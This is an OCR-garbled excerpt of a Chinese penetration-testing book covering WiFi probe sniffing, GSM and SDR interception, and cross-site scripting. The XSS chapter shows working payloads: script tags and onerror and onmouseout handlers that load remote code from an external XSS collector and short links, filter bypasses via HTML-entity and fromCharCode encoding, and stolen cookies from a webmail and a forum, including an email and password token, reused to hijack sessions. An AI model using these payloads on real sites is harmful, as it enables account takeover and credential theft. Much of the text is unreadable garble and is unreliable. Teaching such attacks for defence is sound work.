XA B0 MW ) 7 BAE T ARPRE B I MR R, sl A 7EARMR PR B CANEE H i

2R B GURILE T O & B A R By ik

544 EBRIEFARTE

B Ja — R s B AR A A Z EE W& O FNHGUEMTH A .
4R 2 HWIFIR N & H & H B A e R 2N B2 TR CORFEE A - WIFiI 45 .
Z T CAANES TE A S IMAC iUk 72 PR 4 1R 25 I sk £ b 41 0 S K B[R] 48 AN [RIMACIJ AP,
] £ 35t B Z AR E FE X SEAP 2 [A] L A& ¥ o (H 23X HLRER T Wk M e 2 BL, BNEE LT LA
FH bR & RAF I WIFLA 4 AT . XA B S, T USSR Xt H AR i &
BEATH R AT s 0 23 A SRS B e, AT LR XA B SOR I RS (4R 5
TR .

XA VAL S HOR BT AT, 1 B IE A TR AR — i Probe ML . HIFBE
TR IAEAE, FIRA TIRIBERRE, HEBIWNESTINMINRE A OEREEN
AFFE, TMiXAME BfFairodump-ngh —H TR, WES-150T7R.

Bl5-157F 04 2 H AT -RET e B % ) i 5128, T 5 43 10— Probes MU & 1% &%
% i TR ARG T . B 1 H ALK 1 T Chinanet. CMCCA5 ] 5 50 %05 ) 44
MRERES, B AN P A M 45 2 A BB (B @ik E 7 IMC Portal) 17 [ py
PR, SATLAE S TR FE R, REN KER P THaIE (B ime AshiE HE
SRR AR .
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NN BEsne AR

broncotc@broncotc-U315C: ~

CH -1 ][ BAT: 4 hours 57 mins ][ Elapsed: 24 s ][ 2815-16-27 11:03

B55ID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

0 0 58 -1 <length: ©>
236 € OP|

237

194

132

194

79

STATION

14
1
0
(c]
1

42

13
(5]
(0]

T

E5-15 airodump-ngXtProbeH I 2~
T2 ANACKA T INER RN M TT %, SRHIELMETIAPTIER T S,
SRR I SR B FI O — 5 & K XProbe M1 % P i, W LASRIL B 1. TR ARG Z)E,
5 it o AOX I E L EOR R AR, IR B S SO RERBUE A B, JF
i I BB B AR R BB RS o TSR B B3 W 22 I W) AT DA 5 52 o 44 i 1 2 43 Rl T 1) 2 A
& i BOAF IS U s Bt AT M.

5.5 4

Tk w R —AIEE R . WX B, TR 2SEEEE A IEWLANGE
5, MHERZLFACME S TEM(E %4, A LN ER LN, A Eiek
2 224 WiFi LA 36 43

BEE AR AR, EEP RENALEFAEEN T ELEGE. BRIKERTLER
TR A AU R PR FWiFL, B KBRS AMTEHE.

WAER T WiFish, ELEATEELF RS ZigBee. DVB-T. GSMZERLFH, Xt
W% £ /DD E e — g AR . B RERE T, BN KRR T 4.0 T
HAT DAY A AR A AE L) R DA B A %, DB T AE
LU S BT RE L, R RN FHEHIR<FI . A RFHE 20 75 Y
BAE WA R, KidiE REE RS AT & O E BN T B HI . <7



_ 1/ 0
H5E EARSUM—WEREMERRE L)/

PEHINZ )G, BhEWT LA E SRR NS, BHTFHLRIES), BERXIFARRIERK
RRARK, (HIX L3 54 A .

Wz N E A — AN DU 3 AT B P I ) — A DY Sl AT B I AL, X R T A
IR P AL TR . 1B 22 B30 2038 35 1 4 3 IR R AR 2 AR VS v o I RE A B s, i 2
i TIREA FInfr24101 %585 5 3T HEGM (S . Ulnrf24101p2k 6], 35X 2 —MEER WL
LR BUAL TN (AT LATR] B b B A ) AN WA F /WIFII B R D), BAS THFAES i %
W, ABRFZITREETHREE B EGE Tk 2 B i & A TF B X~ Theg, LR T iR
B FEAE T AR 2 e T, B 5 W7 DA B Rp a5 & i 4 A

GSM R H Ayt 7t EAE A FiE i, E2EARSHAFZ R, XM
AR BEAZEN, ENRZFHRBEMCEH I, BESEEHERZEBE. 6
L6128 BRI GSM M AR A s 3 A AL S in 2 ab 28, DAZE T A0 A R el vT DA 55 M W
FEZF PSR SN A . M3GHAGM A — B AN R Z MBS TR, R
A 3G R e Tt 7, Bl i B T4 ARG 21 H R A T8RS
XN EM AR . 4G LA 2 B i — IS 2 2B s s, 4G RN AE
AIEHBGESE, A AR LLERR T B RS A = Wi .

A e & oK 2 HO UEHLR AR B & s ke tE, e IT R EME AT LA R 5 R
Wr, WWrE BRI R F B A LI T . IRBIS VPR A AR —ANE
Firzaf e iRFERN™ERE, BmSVEEEe 5 W2 RFEEGE. ARk
& (CHSEIRE D FL TR ] LU 5 W ML 3E & R R HLZ IR B IRl S, e an
RRHTFMESETNF IR TR, RATGSTEIEEENEW, XALIZ
— AN ELIE B B8 1 R AR AR iy Z A T2k 22 AR

F AN KA G ) E R RFIDENFCI &4, M, X o2& & 8 =X
WERZRE. NEEE BRI, XRMZATVIHEEZ ST HKIINE . NFCZE 2
FOFEAINFE SRS INE W R ETHR. 2. BREEENE. NFCELSS LA RE
FAF 5t S AN S A, NFCHIRIR Al DA T ok 328 5% ) B 28 [l b AT R4 Vs 0], B0 i hh
“far” HA DT

551 WEXMiESE

Bl LRI BAR . BB E B A RIRA ST R e, B R EHHEA T A
TIRIREET, PR HEsd e . KRR O TE — YR HIARE H ek, (HX O EE T
IR BE P AR i P B e A R A ?

SER YRS RIS B . S OB B AR A REBER, AN [R] (05 SR R T AR FEAS ]
BB, ARG A CRRA TR, SEERFIThRE AT AT S B A e Do (2
FEAEAE R B VR UR BN as i, IR [ Ol SR R AN E R, RAEESR
MR CBRE SO AR IR SN ) BEERBI AT 8.5 I Wr BT il 5 WA

LAAPC220ARH N 1], &S —ANH WL AR £E433SMHZ A B K S A 705 5 A dants B



e\
AN mEsmeAEn

BRI — AR A& S EEE R ER, RGN EESD EERESINER,
HH¥H U ELESEABERINGE R R ORXSEESH, ERZREZAML
5% (G LN

APC2202 — /M EH MG I, ThFEEEKME S EH. PELAPC2207] LA FE )L E K
B BRE L U A S AR AR E (0TS . XM BRI BE ) 1o AT ARSI A M AR
F5, (B R [F A AN E, A% =1APC2207] L2 5 Wi 53 A0 P A
Bz 8] fiEAE .

IXFF TR AL S Y B Re R SR P i & P= AR 2 el . 9t IRAE EL R AA T
B il % o S L SR A I ZE R T DT R I Th g, eI IS N B3 R BIR TR 2 #— K
—F CIEEE RGO B4 S E AT LR 58RI R AR G4, W TER
Witi, $TIFERET], BN REHTREAGH

R AT E IR AR O, WRES SO RIEE ) Z E A nE @ (s, HrEmfE
NAEDEEN AR, BARXFEEERSZRIEREE AR, tATTRBER, Mk
T X RER A RIEFRY .

X B B RS A R RE SR AV e 1 1) B, IR RE SRR AN Re
EJETHMATIE, RZ 7 A T AR B, WIFENIMIhERS AR, HE2ENM
MR A T ATH Al e A —d .

REMGREL—FERZEN, REMEEGRTH. BENSSAFRERRT EH
BFARMLRIRSNER . URZXEMFRRESEAR, mASAHAERNAESEE. H2X
RERREEMEIEREE, —BAAEMENERAREER&RS, g st
e FREA LIRSS, MRS NREERERAE, FHEBLE, B4
T4 TE BB I o

552 ®BEEE

Bl fERBRIEAEEFETLFEATFRARN, NERITFEIL. KFEER, FIHE
ZFFLTE. WIMAXZEAGHM I & imie &, #EfEABaEE. IGNE R OMER®E, 1G
R84z N R B A . 2GR IUIZE J 4t s H AR 2 N A .
2GMLE AT L4 AFDMA (Bigr 2 ik, ANEW & /AR | TAETEAFR/NMIE, ENGSMM
EARMGTAD o TDMA (K22 hk, FEmfia) o 2 A, & 785k 45 B 1K) S VF 0 i
B Mt AT SR RIR B 5 CDMA (ar £ ht, BAWHMEX s, RAEENE,
Bk A2 G S AIB X 5 5 kEE 5HWT) - CDMAREBCH LML, 1
RHANBFRFEE H . BRARZHRAEH CHEE, BB EEREMHALTR
&%, FEEERERTHEEXN B QA RGSMEE 5 M 4511 {5 0N % 2 . W
& AT LA 5 M A R B (0 R B YA SE I RS MY . W R B B R T GSMIEAE [ Bk
Wi, FE A AT DL SR W W i

[ A g — AN E %4 AR 44 1955 H Y Osmocom, X AN H 3 24 % GSMA 15 3% Ml



‘ 1/ 0
5% EARSUM—WEREMERRE L)/

Ko TWHATFE T —EXGSMM S MU RN H B, W T —ERk Bl E L
GSMM &2 A MA5 BIERIWLE S . LB SR mT DL T MW7 1 & 2 BEEFE B HL [ C 118/
CI23FHL, B A ARAE I3 Smm 453 O 5 O 2 hn_E—4N3. Smm4% 2. Smm [ 35 $i4% %
Sk, BAK—ANUSBERTTLE DAL, FEAT LA CLISAE A & D& B EHL, M A
Osmocomf¥] T HFH4TEFEINIR .

{8 R AR I C 118 ML e Wy P I KL ik 45 2 A5 TE I GSMUAE S, (H 2R X C118+ 3L L
AN PE B AR UL S I Ab O PR 58 oo R, sRTURIXE S, THIERMGSMIETE.
ST O IR R REAT R, AR A B 7 VSR o

MIRFIGSMTFALZ B s Bh R S IR E S ER, RELAERBFHZEIE
GRS, B S HIREENES AR, ZEE ST, Phkyh
A LLAA e BRAT AR S 15 AR BT FALAOE RS BRI iiE . Bty O3 iR AT B 7 55
MAREITFHUREERER, “EREEANSHE” MEEAFER, RaRsREEfAT
JITFRIR N 2R

BRI E R ARIGHA (RFIEWCDMA/BRE R, AIReAFETD/EHR, AEFHHEG/&
A CDMA2000) WA AFE I k{5, X FEENTA TR KT B =4 T Hir
S, IFTEREGEH RAMGHEGEA ZREIEZEN.

SR Bl fE BRI B E Al LI — F AN 84 “OpenBTS” HIHFIRIEMFEF, XA
AT GnuRadiolz 1T, S TTLER—FINEE. SE6. OpenBTSSZHRHE M4 £
HEFFIGSM M5 L L UMTS HIZ0 3Gl f5 .

553 T E

LB RTE SR L B OEAEE A &S, REWRTTE. HEILHANSDR
(Software Defined Radio) , BHffE Xk . X MBS RIER M, &HE i
HITCL B R, BT A S nrfS1822MKThEE 1 F 15 Fr 4408 T4 L& B th
WHIBEAE (EfE) SEl. (ERELEE AL LIERESPIEE/NGES, Ll FscIlcs
MM E RS E R SEA 4T . Gnu Radiofe —EH THATLL BN TH, BiEEMIR
B, BRIEFRS FESGEA T L&A

PLTE A EL A U SDR SE R A2 F Realtek 24 7] A2 77 O AR BRI 28, (A FRRTL-SDR.,
—iRRealtek [ M, EHAFSOZ I AT LR, BER 4 % 1 1E S0l il i g LAk T
AR &, BUREFE200250, BVl 7GHzIIfE S . TR &SR
5, BlWHackRFIX —3KSDR# 4, W AKHIE20007T, (H 2 Al LUKCE )36 B B EIA 2wl 4
I16GHz.

A — A e EE, WAL UL FEUET AN BIHA 4 9 B AL (K SDRAFF FT S — 32
BERFEMIRIUR M S R, AERE X REEMES. BRELLHE T AR
FIEENLE, HAFREMA GRE) TERENMBREREEEANGS, EiliTH
F R A I SDRA FT A 4K AR 2 N B AR B R AR 5 P I 3RATE FH I WiF L TAE 7
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24GHz, XZ2EZFIFBAETHFMEB, BEF —ENhERHEH—RAREER —NMIEEKR
I WIFi3 ) A BB R K IR 35 B . SGHzIIWIFURZEH J& — /M Ha%, 802.11ACHH#E
2 N SGHZ I GE 1. B 1R 2 M K SGHZAE H (138 43 B A SR VFAE R 1), B ix g
WBUR AT e A AR R B HI . — 22 LB R 5 10 2% b 2% o AF & SRR 8 SGH
Bri B S, DAE R 28 AN iE © BT e A B A VERE A AT B
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<script src=" http://xss.hacktask.net/ECINmP?1415258770" ></script>

£ XSS Platform x \ &5 hittpy//xss.h..71415258770 x ] £ PentesterLab » Web for... x | +

(' @ 192.168.101.144/xss/exampleL.php?name = <script sre=http://xss.hacktask.net/ECINmP?1415258770= </s @ &2 ¢

Hello
© PentesterLab 2013

E6-19 #HifTpayloadillix
BNERSEOHZRIER UG, SFIMEKNAEZHE 7 —<)UEEET, X2EH
hPRAZ B JavaScript Bl A ELE AT, T LME HFirebug K& H — FHATHE M, WE 620778,

# O ¢ ) )= pm= HTML> | css BX DOM [ Cookies
W | &5 | body < html

-
@ <div elass="navbar navbar-inverse navharfized-top”>
& <div class="container”>
Hello
B <script sre="http://xss. hacktask net/ECINmP71415258770">

(function() {(new Image(}).sre=" http://xss. hacktask. net/index. phpTq
2| if(’ 1" =1) {keep=new Image() ;keep. src=" http://xss. hacktack net/indd
3| ;;ver xss = function(){

El6-20 Firebug&E&HFE
AHF N, SMERAECEEME, INBUHRZTFESFEI TR T ZHE
KI5, WEe6-21F7R,

BLE TEMNB

Eemb b http: //xss hacktask.net/do/auth/7ae12a8dc0B83a107bdacaba0ed336f7 E

W eE e BEE

W & 2014-11-06 15:37:40

E6-21 #HIFER
B4 & H &AL H P Kiflcookie, FTLLIX B Hcookielilh 4%, {HA L H M2
—REBELR, WL HFFRIFH P cookie, T LLH I YT 834844 B 4 7 cookie H 581 F kK
SRS RN HE AR A s K, R E RS SR .
Ak, VR TRIENEZR, WA H R M RTin <4 R—CSRF, 7ER
ZHEGFT, XSSHICSRFISS &K &R B AR KK .
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}

</script>

R FFEA LM, EERE B T R ERER, WA bRk ak
A2l AAR B AR WAL, HMEE 2R —MEA. ZAFENEEREEZLEARR, .
S VLB, AR DR B R i —— e U R .

FRBEAH, BBt H ARl fE R I FFFEXSSIR I, — EMICSRESG g &M, T EJ7
5% 35 5 R 2B B B R RRAT T .

6.4 SR

i KT TR G T RR Y A5 EL

6.4.1 — 1ESHWiLLHEIREXSS

TR MR HER] RETXSS ]
TEuh L hER2 AT T <script>prompt(1)</script>J&, I promptXiEHEFLH# T HE,
E6-221 7~ o

fsearch.aspx?keyword= script= prompt{l) <%2F=cript= LEREEINFRES

B6-22 7EEEXSS

BEARTFEXSSTRI, AP 4R RBE AT Uit idcookie W 1 IR HHE, R X8
thiela ki, wKBEEHE, EAEEESFRERcookiet BTk, HiLthi&EMcookie
ML) T 2R, mh AT LAk — P getshe IFR AR ST 2% T -

BERCEA T, AMHKHIRSEZXA A, T RNRLERcookieBFRF 1A H 772,  FrLd
HEABEREW KL, XEHH— KRB KPR EHcookie i E AR KITER .

Frig AR, Sl 2 AERFERARRT, vim A m=mE, AAETFES
FIRPR . A TR, BETFMN TS, FHAEKIUH Chromed W 2570 A B 3%, LA
BRMZES, GRS, BARSAERAESERER, EAERHMGERE
S5 H Ao

BEOETHIIKS, testxssBARAUZ FE, MixxetestZBZHIKS, WE6-23F7R.
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E6-23 MiXKS

WAEFFT S A — T RO XSSIFTFEH B HERE, Hexploitil T .

http: .com/search.aspx?keyword= [ XSS ]

HF<scripttn S HidiE, SFRFSHILTEERS, Brelal LUE B B H<script
sre=xxx></seript>= K MNEAMBISHA, BAFEE#HEDT.

http: .com/search.aspx?keyword=<script src=http://xss.hacktask.net/
ECINmP?1415264855></script>

Mtestxss AT TFIXANERERT, At BB 2R L vF K2 M iUm#e 7 —£&, fhirE 2
A TR 25 B 6-24 1 78 o
€ XS5 Platform x f L x ¥

fisearch.asprlkeyword= <script sre=httpi//xss-hacktasknet/ECLNmP? 1415264

BE/MSFEARE

El6-24 XSSEFRE#HfLE
fhHVERAM B E 42T TR EE.
FHRERFERINW TG, WE6-25FTR.

HTTP_REFERER :

El6-25 HEWEIHHMER
AEF . HEH (K350 (8 2 50 F5 8 [ cookie, AN AR HIEI—2 QI EA

. wE6-26FT 7.

) cookie.txt - iD= SIS
P REE BJR0) 5N #aH)
Hm_lvwt_Z43ebdT8bTabiddddTdefdldobZecfei=1414904d9], 1414904004, 1415241435, 14
15263266; lzatat_uv=31031825973791672107 | 3486570,

Hm lpvt_293e6478bTa6244947defd14562ecfeT=1415264T740;
lzstat_ss=338967580_2_1415293540_3486570; m_email-cssors%40163. com;
m_password=FT21080000000000%2c1 eley(0i ffsvsrbtlaxxpchded;

El6-26 cookiels 2
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AR BEE DA XA R R RARELIE, AGE — A £ 1 Python A SRR —F,  SZI5L

LSUEFIRZE, WE6-27F 7~

) result.txt - oA

M) HER(E) HEN0) FB(M)  #EnH)

Hm_lvt_293e6478bTat244947defd14b62ecfe7=1414904491, 1414904604,
lzstat_uv=31031825973791672107 | 3486570
Hm_lpvt_292e6478bTa6244947Tdefdl 4562ecfeT=14102647d0
lzstat_ss=338967590_2_1415293540_3486570
m_email=cssors%40163. com

n_password=F 121 060000000000%2¢1 ely0i ffavg | ~o i) FEE ESO0)

| cookie.txt - iCHA

Hm_lvt_295e6478bTa6]
15263266; lzstat_uvd
Hm_lpwt_293e6478bTaf
lzstat_ss=338967590 |
m_password=F 7210600

(@

lpy-iBEE

XHF) WIEE) BN FENV) #EH)

A
B
C

fo

pr

P

open(“cockie. txt”, “r”)

oo

open(“result, txt”, “w
A read()

riinC: L
ifi==""
wl i

B.umwite(i. stripC’))

int C

E6-27 FPythonftl A% cookiefs B

BEAR B R CALER T2 F A M cookie, MMILTEEMAIH 2 XN cookie B Hailb W W25
B, ARZ THRHR LISEILXAThaEe, H 270 AP Y0 Es T R A A Firebug, MFire
cookieddift [F#f r] LA5E £ ML 5E BifF S5, Chromeit] %125 [ #f14FEdit This Cookietld /& — {1
75, XBRBAEAERE#, WE6-280TR.

Xk “/NEDE” {EZEdit This Cookie T, Midie, & &I HE, WEG6-29/1R.

= | [g]

X

w| @

E6-28 Edit This Cookieffif4

»
D]
ol
@

RN
.com | Hm_lpvt_293e6478b7a6244947 defd14562ecfe7
.com | Hm_lvt_293e6478b7a6244947defd 14562ecfe?
.com | lzstat_ss
.com | lzstat_uv
L.com | m_email
zom | m_password
.com | nickname
I | bdshare firstime
£l
1414070662413
=
- |
L]
Bz
: |
Id4mdiE
|23ﬁ 0/2021 00:30 PM |
hestOnly session [ g httpOnly [
v i

E6-29 #EFHcookielz 8

7] LAE #|, Edit This Cookiedfift DA M /T H P fcookie ——FI A5 ik, Bdh#H A
BN AE, WEEZRIN] “GTE” B cookieX) W i H #E =Bl AT .
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HE T SRERF LA LLES, BhE CemhGxEZHEENIKS T, WE6-30
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testess | Tl | HEEE | RE @) dFieR v
WE= V- Wi
n TERETE EiraA SRR
E AN HHE JLE ST P BE EX 4Y B 5

E6-30 {hifcookieEFAIN

6.4.2 TBWITE: ERFEIESIXSS

MRERFEWNEGSE % “BE” M ERMRR: @it NMRZIMATFERECE % LK
BHE ARG . XNEMAGRTHARKY, {SEHEBMNE BNSEFEESTR, X0
SLE 0. SERR b, fhFTAREAREBIERXSS, hikfat, B2 ERHE RS
FFAEME R, SXAMEHE T XSS Z A EX — 5. XEBWAR\BIMEITER AR
ZITHRFE I o

MBI XSS 2R 1] S 008, s i AR E I n 2 FE, XL
SRS, RBREKWIE CAEFERXSS, b ERRE, BB AILE b5 BT
%7 o RBAF—AXFERBBFXSS, BT AMEE I bypassEe B i, XBERMEKAT
— AN AN T P A P R R A T A

GRS H A5 FE 6-3 15T

G 45 Platiorm R « | 3 1PREaRT-SER . x|+ |
& @ mail 2005.comindexasprPphan=OruserName=1 B WaE v x El
lualualua <ualala@2925.come *
DA TRER s
7 5 T4 lualualuaa
O R [ W O TSR
E BEA B
L
Pt HOT
Amise HOT T
E T
Pl m 1Bt 18 7R ARRE
ki B = H#EekS T iFEIEE= e e ==
e [~ W]
aniE M =iz & BanE

El6-31 HBFAXSSTllik Bx
VI HE XA RS, B LREERIE, AFHMN G . QQERFHEH L. A
eV REMIIE, IR — T E AT A
FF—M163MRFHVE N KK S, lualualua@2925 comWUE A 45 K 5, SE3&an T Y
JiiE R I%E—EHAE
SFEEERBREHES T NP H, Wtest123, HAXNFRF 1 H £ 7§87
WA E N, REESEE, REMA “<>" HEHTMLAG. Lk %
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[fIpayloadififi): <script>alert(1)</script>, IE6-32F77~.
RAGEE IR, M E AZIREOCAGwEEN, HiRRRd KX %l
FE, WA A, WE6-33Fi7n, HiFirebughRER, EidNIAHMNIKFH
£ o i HH AT RE AL

Wit ( lualualua@2925.com
= 5 : test
0iEnfe (B526) | v EMEAITRLSGERHE fEE] EE || %% || Wk || %R || Toa- | © ]| B

. = —_— — = | ~ test
9 |[F& M | i VS EE < 2 = m = EHFAr xetestootetest@163.coms> v

4 - B @: 2014-11-06(fM) 18:53
~B 7 UARR= B A e @ = WrtEA s ualalua<lualualua@2925.com> ;
test123<script=alert(1)</script>
test123
E6-32 IE3Cpayloadillliz E6-33 AEHER

ME6-34FT7~, 4 NIRF IR <scripthn s 48 s Th gk N T H1 HFRE AT . XA
BATF = BIXAE AT

<html xmlns="http://www.w3.0rg/1999/xhtml">

= <div style="line~height:1.7;coler
testi23
= <geriptr
: alaxt (1)
</seripty
</div>

E6-34 FirebugE it
FHETAT L, Wk e T # A XHTML, AN ™ f<script></script>48 24 J& Toik 4
AT, BEESR—TEA, WFAR.

<script type="text/javascript">
alert ("Hello World!"™);

</script>

FRRIE, ABRBEIRARTEMA, WE6-358T7.

Xixi
w=iFA: xetest<oetest@163.com> v

B3t i§: 2014-11-07(F) 11:51

Witk A lualualua@2925.com<lualualua@2925.com> ;

00000

E6-35 EXLZER
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1§§NKNI$§5§éﬁﬁﬁﬁ_

AT BN Tk, BRE KA Tiduk, AEAEXAE T oL uE -+ M,
A FRFRBRES LSRN, S HEH AR RN RS T — AN R R R
#£: onmouseout. fEw3school®r— T, xhtmlffJffiZfFXAN @M, e BHEAR 2

2 RARFRF S H TR AT AR .

AR R 2 B 7 A SRAT TR 21— KRB B 2 B ARMUH BlAnTaet Bl e,
B RFEAZ R, A ATGEE AT LU i XA — A5

<b on mouseout=alert (1) >ﬁﬁﬂ§: ...... hahaha....... </b>

FRZR, SR 6-365T7.

[E6-36 AL IhfARAZXSS
ME6-360] LLE R, 7ERAEE B EICFE LA HEHRIBER, JavaScriptHl 445 fil &
T, HiAEMEcookieBFE .

<b onmouseout=s=createElement('script'); ;body.appendChild(s):;s.

src="http://t.cn/R7EtYil';>1lalalallalalalala</b>

2 NFTIT R R R AR W E W I AN R G, BEEXSSTFar LLER,
cookie A IEH A HIEA AT FEH T, WE6-37/ 7.

ope

E6-37 &HHEXSSES

6.4.3 —XEHER%E (bypass) #ER
e FTIN AT, D20 RIPEE T KRS AR B XSS, IR A 2 F it
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‘ M/ —, o _
go® WHELRE L

.-

BEN IS A XSSHIA . AR 2458 B FFLIZHXSSI A K, REZHTT LA
HTML PN & #REF % JavaScript AT AT T IL 3R R ], X 2EAXSSMA e &5 T
BRI FHER, HENRA AR RGEERT, Y HegidiT i
U8, AT LLE S B AGE A — A B S e A, R BURE — AN RO RIXSSH S,
gt Ebypass. FE b, BR TILIEMALISS, IEF SR A TR REER, [EWTF
T s 1 —

HPREE T AL FFAEXSSHIA U, BEFES IR — A <br>123<br> KR EF R RE
BAKTSHNTS. WRFTLL, AAXSSHLTH A 2 i X 68 27 46 T4 th 2 JavaScript
WZET . iEARRERRE, BEFRAETERTSIDTS, TUED, WHSE8rT .
1 A XSS, AT I IERAE S BURIRA KL T 80%, & 6-38F7s.

ZM IR RA L ERIES, BETRTLUFE-PNIKT, LFmAN—FNKEA):
<script>alert(1)</script>.

SR T Kl 6-39F /R TUE, B4 =R EWE A BAXSSH N R {EE ?
BEREERETEM .

BHE

XiRT
b H L
HREFTEETASE, SEREREET e aFiH
Bl6-38 KMEEidERES E6-39 AR

LN, RE—NMEESHEE TR EER, WE6-40F77s.

A WS, XERRDBEARFERIIR, PN Y ES— T2, ik
EA AR TEARVE? B EMEEN B R R <scripthnds, X HIEEHEE, FH<marquee>FriE ¥k
B, FEEREGRWT (ALE6-4D) .

Bl Geieh U test

ES =2 BEER-

BNENHETHE, STEEEEER 6 SHNSTkEREE.

LEXE

dmate e

He40 BEEEBH Eo41 AREit
# A Fll<marquee>123</marquee>fE R W BT IR T, W RN <marquee>r 2 #BEAT T
g, IAMLEBARAE SBRAT . HEZAA M, BARE<br-mAZ LN E, M
VFRABHLSFE T, R, BRIELANOMBREEtIE B HEBR, B LA el BAS2 75 7l 4 A\ 3
W, WERRIPETLIE, FXEDWEGC-425T 7R8I T .

— 111 —



1§§NKNI$§5§éﬁﬁﬁﬁ_

BRONEEAT, SEAFANET FE HHENNEEEE.
E6-42 EAIHITIE

ﬂ%ﬁﬁﬁ<marquee>ﬁ)&ﬁ@ﬁﬁﬁf&ﬁﬁ% o TMESTUER, HEARATEEE RA

MestHIFFBA 51 iR, WIE6-43FR.

w/search//test/

v A/

fr & HAEEF EBEFE  BTES  FREH

eRsR LR

At g (o5t 3]
sa sys
SRR
e SREATEEeS

E6-43 NP EET IR

XiFEE P BB, (B2 XIFRER, TTELEH, XBERAZHRHFLIERE S
HRPHRATAE T, 6 Atest/test, R !

BEARIXHFE, APl — A R BAR K A & XSS, BER ik <script>, 5t R
FRAHTMLEZEFEIE T . XNEE AES—ANa#: #5EAR . XE AT iR
SHE? BEFEGFE, EHFHEANT D (12) , BEIEREA BR404700, XEEE
&2 EE, MEHRD T M A FHALRIXSSIER]: <img src=x onerror=alert(1)>.

R sreBEME < BARSHE, onerrorZEFAG I BX A5 =5 AL A T FEHIK

El6-44 IhfmAEXSS
A IAE SR KR, B ATEAFTERERS B 5 O T N2 5B A SE B cookie B #5414 215

5 R
SooREEH T AR
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‘ M/ —, 0 _
HOE MMREEH L[

PRTEH ULl &2 JavaSeriptif ) S @ & it i 17, B

http:// /search/<img src=X onerror= [ f&iTHIsIEG ] >/

FRRMUTARZIBE S, BN R A onerror 3944 3K 7T LA FBIEE AT s F NERSMBIHA

<img src=xonerror=s=createElement( ' script'); body.appendChild(s); s.src="JR¥JISHL
bk >

B Mzt EIRE T, WRBESRRFBAE ML ERAMTIIAS, 725 | A 30 bk i
—E B, AL IR AR B, B LARRATT AT LA 22380k onerror 44 J& 4
Ja ISIIA AT+ 7N B g hs, e A il — XA

<img src=X onerror=&#x73;&#x3D; &#x63; &#x72;&#x65; &#x61;&#xT4; &#x65;
&Fx45; &#x6C; &#x65; &#x6D; &#x65; &¥xXOE; &#xT4; &#x28; &#x27; &¥x73; &¥x63;&#x72;
&Fx69; &#xTO; &#xT4; &#x27,; &#x29; &¥x3B; &#x62; &#x06F; &i#x64; &#x79; &#x2E; &#x61;
E#xTO0; &#xXT0; 6#x%65; &#x6E; &#x064; &#x43;6#x68; &#x69; &#x6C; &#x64; &#x28; &#x73;
&¥x29; &¥x3B; &#x73; &#x2E; &4x73;6#x72; 6#x63; &#x3D; &4x27; &#x68; &#xT4;6#x74;
&¥XTO; &¥x3R; &#x2F; &#x2F; &#x74; #22E; 6#x63; &#x0E; &6 4x2F; &#x52; &#x37; &#x52;

&#X62; &#xAC; &#x4C; &#xT74; &#x27; &#x3B;>

XFEmIDEMCALE TR, RiMHEE [
T A —FAZEEZ, WE6-455T/R. = Y
XAV RPN TUHE R I, AR S TR —
LR RSB ILIE T, T2 M mAS vk

MNFFT.

wiF, Zeft SRR, —F LR BHEPETAE, AEATEEET ok
RV FURE 5 —HOTE B . HE-45  MEIERE
223 H JavaScript /7 200 BHT 1 KbypassiE .

MR R S HI4E 2

<img src=x onerror=s=createElement ('script') ;body.appendChild(s):

s.src="http://t.cn/R7RGKw]"; >

1% B A A String. fromCharCode() bR HUOR T #E NURL A 43 84T — N, ¥http:/t.en/
R7RGK w4 J String. fromCharCode(104, 116, 116, 112, 58, 47, 47, 116, 46, 99, 110, 47, 82,
55, 82, 71, 75, 119, 106); [\, A {ETavaScriptiZBITH, B4k =38 0] JE K FURL
sk .

XFE—RAUIA] T, B2t BB R R .

http://www..cn/search/%3Cimg%20src=x%200onerror=s=createllement%28%27
script%27%29;body.appendChild%28s5%29;s.src=String.fromCharCode%28104,
116,116,112,58,47,47,116,46,99,110,47,82,55,82,71,75,119,106%29; %3E/
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e\
SN mEsmemAEn

URFEATTFRENMEEUG, F THREERTE, WE6-46FT7r.

p

6—46 HEEXSSESE
] LUE 3 & s Ih B ] il cookie, FUIXFEETE# Al hbypass T XA~ “BRAL” 1T S5t
AIXSS,

6.4.4 F|AXSSHITHEIF

XSSIwFRE: ed2kth i, XAEDiscuz X3.1 AIRARIERE, §WiFABER/[RS7E
WebiBiZE SR TF AU . B ORIX AN 5 S AMDS %, &0 T http_only#x
%, FTUARERE S T M EXSSHA T o XANRIF AR EERLE H EY RO
SFTSEE . FIHSREI T Wl R XA XSS AT 49 B .

ZIRFH CIRASTRIATF & HE R

B BRI B RIE, 704 BAEEmA— NP ARMEDREEEN SR T
R, WmE6-47f7R.

ARG ECRAH G B IRES F 8 TR, el LA7E® & e R M Network UL T Fil 7,
Hies W MBI AZE, R)5 FEEA], WE6-48/7s.

R > =& BT W@ LA #% oT - O X
s’ €29 o & O 9 - | # hitpy/wwiozhushou.cn/user/login.php?rom=bbs a9 - al o
- w HrE- eme=an o» @ - Ewindows @udce » BrE- [Dmmemio dzsmEn (Mem- Lxonr: Ywmer cseres SEE- 0

8 mrEs IvEeSC + (1 |8 mre=EAeT +

Elements Resources |Metwork | Sources Timeline Piofiles Audits Conscle

Q | (0]

Mame Status N Size Time
e Methad | 350 Type  |Initiator

200
POST ok tet/ht., | Other GEKE

login.phodl 238 20ms

4
EER wonrstoicrr: [ Not Mod | *PPR2= | oy #2KB|  17ms

£ . loginphgd2 45| Bdms

B ST NotMod | *PPR-" | parcer 126K8|  63ms
GEVEE e L i

u.on/static/ cst Mot Mad Parser 15.0 K8 Bms

@ D | Documents  Styleshests  mages  Seripts  KHR Fonbs  WebSockets  Other

L
D H B0 @10%

> =& P B @0 @ex

E6-47 iIEERFE E6-48 THAMEXHM
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HEE AIMELRH = ////7////,D5C

SR 5 F Dreamweaverf& SRHTMLACHY, BB RER L E— FTEEM SN M, £5

e I e = W
(D) ETR R T HE P ARG IR E T EH TR,
Wbk EHnt RATE, ME—/ARE T AR%5 5 RIME,

> R

» Hb5 . IS#9documentik Jr k17 Fl<head=#7 4 F &L E, PTARANTI Rl ACSS. %
. BAISHFHE fE<body>2, B4R R R @ E<head>2E LT Hx, RLHF

= <body>HE5, ZGHX R AT,
(2) XSS/ 2) F— AT (1) v .
> b REERARATRES, TREG.

> b WHAE LA R HAE, MO ART HEARAKHALS LI L

2B,
PEIX BEH LR T BT

FEH EIX PR TEZ A SR — T RXMNEA SR

R B I i L 5 I ) -
ed2k: //[file]lovely| " +A8 EHAT TSI+ [test/

BISACHD S B[N S o (A gL REXSS, 1 & 6-49F1 B 6-50 715

